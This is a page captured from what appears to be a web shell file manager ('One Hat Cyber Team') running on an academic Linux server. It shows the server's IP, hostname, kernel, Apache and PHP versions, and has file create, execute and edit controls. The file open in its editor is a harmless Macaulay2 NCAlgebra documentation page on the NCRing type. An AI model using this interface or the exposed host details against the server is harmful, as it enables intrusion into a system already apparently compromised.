One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
NCAlgebra
/
html
/
Edit File:
___N__C__Ring.html
<!DOCTYPE html> <html lang="en"> <head> <title>NCRing -- Type of a noncommutative ring</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a href="index.html">NCAlgebra</a> :: <a title="Type of a noncommutative ring" href="___N__C__Ring.html">NCRing</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="___N__C__Ring__Element.html">next</a> | <a href="___N__C__Right__Ideal_sp_pl_sp__N__C__Right__Ideal.html">previous</a> | <a href="___N__C__Ring__Element.html">forward</a> | <a href="___N__C__Right__Ideal_sp_pl_sp__N__C__Right__Ideal.html">backward</a> | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>NCRing -- Type of a noncommutative ring</h1> <div> <h2>Description</h2> <div> <p>All noncommutative rings have this as an ancestor type. It is the parent of the types <a title="Type of a noncommutative polynomial ring" href="___N__C__Polynomial__Ring.html">NCPolynomialRing</a> and <a title="Type of a noncommutative ring" href="___N__C__Quotient__Ring.html">NCQuotientRing</a>.</p> </div> <div> <p>In addition to defining a ring as a quotient of a <a title="Type of a noncommutative polynomial ring" href="___N__C__Polynomial__Ring.html">NCPolynomialRing</a>, some common ways to create NCRings include <a title="Defines a skew polynomial ring via a skewing matrix" href="_skew__Polynomial__Ring.html">skewPolynomialRing</a>, <a title="Methods for creating endomorphism rings of modules over a commutative ring" href="_endomorphism__Ring.html">endomorphismRing</a>, and <a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a>.</p> <p>Let's consider a three dimensional Sklyanin algebra. We first define the tensor algebra:</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : A = QQ{x,y,z} o1 = A o1 : NCPolynomialRing</code></pre> </td> </tr> </table> <div> <p>Then input the defining relations, and put them in an ideal:</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i2 : f = y*z + z*y - x^2 2 o2 = zy+yz-x o2 : A</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : g = x*z + z*x - y^2 2 o3 = zx-y +xz o3 : A</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : h = z^2 - x*y - y*x 2 o4 = z -yx-xy o4 : A</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i5 : I=ncIdeal{f,g,h} 2 2 2 o5 = Two-sided ideal {zy+yz-x , zx-y +xz, z -yx-xy} o5 : NCIdeal</code></pre> </td> </tr> </table> <div> <p>Next, define the quotient ring (as well as try a few functions on this new ring). Note that when the quotient ring is defined, a call is made to Bergman to compute the Groebner basis of I (out to a certain degree, should the Groebner basis be infinite).</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i6 : B=A/I --Calling Bergman for NCGB calculation. Complete! o6 = B o6 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : generators B o7 = {x, y, z} o7 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i8 : numgens B o8 = 3</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : isCommutative B o9 = false</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : coefficientRing B o10 = QQ o10 : Ring</code></pre> </td> </tr> </table> <div> <p>As we can see, x is an element of B.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i11 : x o11 = x o11 : B</code></pre> </td> </tr> </table> <div> <p>If we define a new ring containing x, x is now part of that new ring</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i12 : C = skewPolynomialRing(QQ,(-1)_QQ,{x,y,z,w}) --Calling Bergman for NCGB calculation. Complete! o12 = C o12 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i13 : x o13 = x o13 : C</code></pre> </td> </tr> </table> <div> <p>We can 'go back' to B using the command <a title="Brings the variables of a particular NCRing in scope" href="_use_lp__N__C__Ring_rp.html">use(NCRing)</a>.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i14 : use B o14 = B o14 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i15 : x o15 = x o15 : B</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i16 : use C o16 = C o16 : NCQuotientRing</code></pre> </td> </tr> </table> <div> <p>We can also create an Ore extension. First define a <a title="Type of a map to or from a noncommutative ring." href="___N__C__Ring__Map.html">NCRingMap</a> with <a title="Make a map to or from an NCRing" href="_nc__Map.html">ncMap</a>.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i17 : sigma = ncMap(C,C,{y,z,w,x}) o17 = NCRingMap C <--- C o17 : NCRingMap</code></pre> </td> </tr> </table> <div> <p>Then call the command <a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a>.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i18 : D = oreExtension(C,sigma,a) --Calling Bergman for NCGB calculation. Complete! o18 = D o18 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i19 : generators D o19 = {x, y, z, w, a} o19 : List</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i20 : numgens D o20 = 5</code></pre> </td> </tr> </table> </div> <div> <h2>See also</h2> <ul> <li><span><a href="___Basic_spoperations_spon_spnoncommutative_spalgebras.html">Basic operations on noncommutative algebras</a></span></li> </ul> </div> <div> <div class="waystouse"> <h2>Types of <span class="tt">NCRing</span>:</h2> <ul> <li><span><a title="Type of a noncommutative polynomial ring" href="___N__C__Polynomial__Ring.html">NCPolynomialRing</a> -- Type of a noncommutative polynomial ring</span></li> <li><span><a title="Type of a noncommutative ring" href="___N__C__Quotient__Ring.html">NCQuotientRing</a> -- Type of a noncommutative ring</span></li> </ul> <h2>Functions and methods returning an object of class NCRing:</h2> <ul> <li><span><a title="Returns the ring of an NCIdeal or NCGroebnerBasis" href="_ring_lp__N__C__Ideal_rp.html">ring(NCIdeal)</a> -- Returns the ring of an NCIdeal or NCGroebnerBasis</span></li> <li><span><a title="Returns the ring of an NCLeftIdeal" href="_ring_lp__N__C__Left__Ideal_rp.html">ring(NCLeftIdeal)</a> -- Returns the ring of an NCLeftIdeal</span></li> <li><span><a title="Gives the ring of the NCMatrix" href="_ring_lp__N__C__Matrix_rp.html">ring(NCMatrix)</a> -- Gives the ring of the NCMatrix</span></li> <li><span><a title="Returns the ring of an NCRightIdeal" href="_ring_lp__N__C__Right__Ideal_rp.html">ring(NCRightIdeal)</a> -- Returns the ring of an NCRightIdeal</span></li> <li><span><a title="Returns the NCRing of an NCRingElement" href="_ring_lp__N__C__Ring__Element_rp.html">ring(NCRingElement)</a> -- Returns the NCRing of an NCRingElement</span></li> </ul> <h2>Methods that use an object of class NCRing:</h2> <ul> <li><span><a title="Returns a basis of an NCRing in a particular degree." href="_basis_lp__Z__Z_cm__N__C__Ring_rp.html">basis(ZZ,NCRing)</a> -- Returns a basis of an NCRing in a particular degree.</span></li> <li><span><kbd>centralElements(NCRing,ZZ)</kbd> -- see <span><a title="Finds central elements in a given degree" href="_central__Elements.html">centralElements</a> -- Finds central elements in a given degree</span></span></li> <li><span><a title="Returns the base ring of an NCRing" href="_coefficient__Ring_lp__N__C__Ring_rp.html">coefficientRing(NCRing)</a> -- Returns the base ring of an NCRing</span></li> <li><span><kbd>envelopingAlgebra(NCRing,Symbol)</kbd> -- see <span><a title="Create the enveloping algebra" href="_enveloping__Algebra.html">envelopingAlgebra</a> -- Create the enveloping algebra</span></span></li> <li><span><kbd>freeProduct(NCRing,NCRing)</kbd> -- see <span><a title="Define the free product of two algebras" href="_free__Product.html">freeProduct</a> -- Define the free product of two algebras</span></span></li> <li><span><a title="The list of algebra generators of an NCRing" href="_generators_lp__N__C__Ring_rp.html">generators(NCRing)</a> -- The list of algebra generators of an NCRing</span></li> <li><span><a title="Computes the Hilbert series of an NCRing" href="_hilbert__Series_lp__N__C__Ring_rp.html">hilbertSeries(NCRing)</a> -- Computes the Hilbert series of an NCRing</span></li> <li><span><a title="Returns whether an NCRing is commutative" href="_is__Commutative_lp__N__C__Ring_rp.html">isCommutative(NCRing)</a> -- Returns whether an NCRing is commutative</span></li> <li><span><kbd>isExterior(NCRing)</kbd> -- see <span><a title="Returns whether an NCRing is commutative" href="_is__Commutative_lp__N__C__Ring_rp.html">isCommutative(NCRing)</a> -- Returns whether an NCRing is commutative</span></span></li> <li><span><kbd>isHomogeneous(NCRing)</kbd> -- see <span><a title="Determines whether the input defines a homogeneous object" href="_is__Homogeneous_lp__N__C__Ideal_rp.html">isHomogeneous(NCIdeal)</a> -- Determines whether the input defines a homogeneous object</span></span></li> <li><span><kbd>ncMap(NCRing,NCRing,List)</kbd> -- see <span><a title="Make a map to or from an NCRing" href="_nc__Map.html">ncMap</a> -- Make a map to or from an NCRing</span></span></li> <li><span><kbd>ncMap(NCRing,Ring,List)</kbd> -- see <span><a title="Make a map to or from an NCRing" href="_nc__Map.html">ncMap</a> -- Make a map to or from an NCRing</span></span></li> <li><span><kbd>ncMap(Ring,NCRing,List)</kbd> -- see <span><a title="Make a map to or from an NCRing" href="_nc__Map.html">ncMap</a> -- Make a map to or from an NCRing</span></span></li> <li><span><kbd>ncMatrix(NCRing,List,List)</kbd> -- see <span><a title="Create an NCMatrix" href="_nc__Matrix.html">ncMatrix</a> -- Create an NCMatrix</span></span></li> <li><span><a title="The number of algebra generators of an NCRing" href="_numgens_lp__N__C__Ring_rp.html">numgens(NCRing)</a> -- The number of algebra generators of an NCRing</span></li> <li><span><kbd>oppositeRing(NCRing)</kbd> -- see <span><a title="Creates the opposite ring of a noncommutative ring" href="_opposite__Ring.html">oppositeRing</a> -- Creates the opposite ring of a noncommutative ring</span></span></li> <li><span><kbd>oreExtension(NCRing,NCRingMap,NCRingElement)</kbd> -- see <span><a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a> -- Creates an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreExtension(NCRing,NCRingMap,NCRingMap,NCRingElement)</kbd> -- see <span><a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a> -- Creates an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreExtension(NCRing,NCRingMap,NCRingMap,Symbol)</kbd> -- see <span><a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a> -- Creates an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreExtension(NCRing,NCRingMap,Symbol)</kbd> -- see <span><a title="Creates an Ore extension of a noncommutative ring" href="_ore__Extension.html">oreExtension</a> -- Creates an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreIdeal(NCRing,NCRingMap,NCRingElement)</kbd> -- see <span><a title="Creates the defining ideal of an Ore extension of a noncommutative ring" href="_ore__Ideal.html">oreIdeal</a> -- Creates the defining ideal of an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreIdeal(NCRing,NCRingMap,NCRingMap,NCRingElement)</kbd> -- see <span><a title="Creates the defining ideal of an Ore extension of a noncommutative ring" href="_ore__Ideal.html">oreIdeal</a> -- Creates the defining ideal of an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreIdeal(NCRing,NCRingMap,NCRingMap,Symbol)</kbd> -- see <span><a title="Creates the defining ideal of an Ore extension of a noncommutative ring" href="_ore__Ideal.html">oreIdeal</a> -- Creates the defining ideal of an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>oreIdeal(NCRing,NCRingMap,Symbol)</kbd> -- see <span><a title="Creates the defining ideal of an Ore extension of a noncommutative ring" href="_ore__Ideal.html">oreIdeal</a> -- Creates the defining ideal of an Ore extension of a noncommutative ring</span></span></li> <li><span><kbd>NCRing ** NCRing</kbd> -- see <span><a title="Define the (q-)commuting tensor product" href="_q__Tensor__Product.html">qTensorProduct</a> -- Define the (q-)commuting tensor product</span></span></li> <li><span><kbd>qTensorProduct(NCRing,NCRing,QQ)</kbd> -- see <span><a title="Define the (q-)commuting tensor product" href="_q__Tensor__Product.html">qTensorProduct</a> -- Define the (q-)commuting tensor product</span></span></li> <li><span><kbd>qTensorProduct(NCRing,NCRing,RingElement)</kbd> -- see <span><a title="Define the (q-)commuting tensor product" href="_q__Tensor__Product.html">qTensorProduct</a> -- Define the (q-)commuting tensor product</span></span></li> <li><span><kbd>qTensorProduct(NCRing,NCRing,ZZ)</kbd> -- see <span><a title="Define the (q-)commuting tensor product" href="_q__Tensor__Product.html">qTensorProduct</a> -- Define the (q-)commuting tensor product</span></span></li> <li><span><kbd>setWeights(NCRing,List)</kbd> -- see <span><a title="Set a nonstandard grading for a NCRing." href="_set__Weights.html">setWeights</a> -- Set a nonstandard grading for a NCRing.</span></span></li> <li><span><kbd>toM2Ring(NCRing)</kbd> -- see <span><a title="Compute the abelianization of an NCRing and returns a Ring." href="_to__M2__Ring.html">toM2Ring</a> -- Compute the abelianization of an NCRing and returns a Ring.</span></span></li> <li><span><a title="Brings the variables of a particular NCRing in scope" href="_use_lp__N__C__Ring_rp.html">use(NCRing)</a> -- Brings the variables of a particular NCRing in scope</span></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="Type of a noncommutative ring" href="___N__C__Ring.html">NCRing</a> is <span>a <a title="the class of all mutable types" href="../../Macaulay2Doc/html/___Type.html">type</a></span>, with ancestor classes <a title="the class of all rings" href="../../Macaulay2Doc/html/___Ring.html">Ring</a> < <a title="the class of all mutable types" href="../../Macaulay2Doc/html/___Type.html">Type</a> < <a title="the class of all mutable hash tables" href="../../Macaulay2Doc/html/___Mutable__Hash__Table.html">MutableHashTable</a> < <a title="the class of all hash tables" href="../../Macaulay2Doc/html/___Hash__Table.html">HashTable</a> < <a title="the class of all things" href="../../Macaulay2Doc/html/___Thing.html">Thing</a>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">NCAlgebra/NCAlgebraDoc.m2:111:0</span>.</p> </div> </div> </div> </body> </html>
Simpan